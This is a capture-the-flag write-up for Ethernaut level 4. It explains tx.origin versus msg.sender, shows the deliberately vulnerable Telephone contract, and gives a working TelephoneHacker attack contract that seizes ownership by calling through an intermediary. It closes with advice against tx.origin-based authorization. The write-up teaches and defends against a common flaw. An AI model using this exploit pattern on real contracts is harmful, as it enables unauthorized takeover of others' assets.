Ethernaut(Lvl 4): Ring! Ring! Ring!

Ethernaut(Lvl 4): Ring! Ring! Ring!

When is tx.origin != msg.sender

In the Ethereum blockchain ecosystem, understanding the roles of tx.origin and msg.sender is pivotal for ensuring security and accountability within smart contracts. tx.origin refers to the original user wallet that initiated a transaction, serving as the root address in a potential chain of transactions and calls. It exclusively identifies user wallet addresses and never points to a contract address. On the other hand, msg.sender signifies the immediate sender of a specific transaction or call, encompassing both user wallets and smart contracts.

When examining these concepts in the context of the final node in a transaction or call chain, tx.origin sheds light on the ultimate user wallet that triggered the transaction, while msg.sender indicates the immediate source of the transaction or call. Typically, when implementing authentication mechanisms or determining the source of an external function call, developers focus on msg.sender due to its direct relevance to the current transaction context.

The Challenge

The challenge requires you to take ownership of the Telephone contract in order to claim ownership, doing this makes you learn the difference between tx.origin and msg.sender

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

In the provided Telephone.sol contract, the changeOwner function verifies whether the transaction's origin (tx.origin) differs from the immediate sender (msg.sender). This observation suggests a potential scenario for successfully triggering this function, as outlined below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Interface for the Telephone contract
interface ITelephone {
    // External function to change the owner of the contract
    function changeOwner(address _owner) external;
}

// Contract to exploit the vulnerability in the Telephone contract
contract TelephoneHacker {
    // Constructor to execute the attack
    constructor(address _telephone) {
        // Call the changeOwner function of the targeted Telephone contract
        // with the deploying address as the new owner
        ITelephone(_telephone).changeOwner(msg.sender);
    }
}

This TelephoneHacker contract leverages the ITelephone interface to call the changeOwner function of the targeted Telephone contract, effectively transferring ownership to the msg.sender upon contract deployment. This effectively allows claiming ownership of the victim contract.

Developer TidBits

Avoid employing tx.origin as a means of authorization to determine who is calling your contracts. Instead, opt for msg.sender if you require authorization from the immediate sender.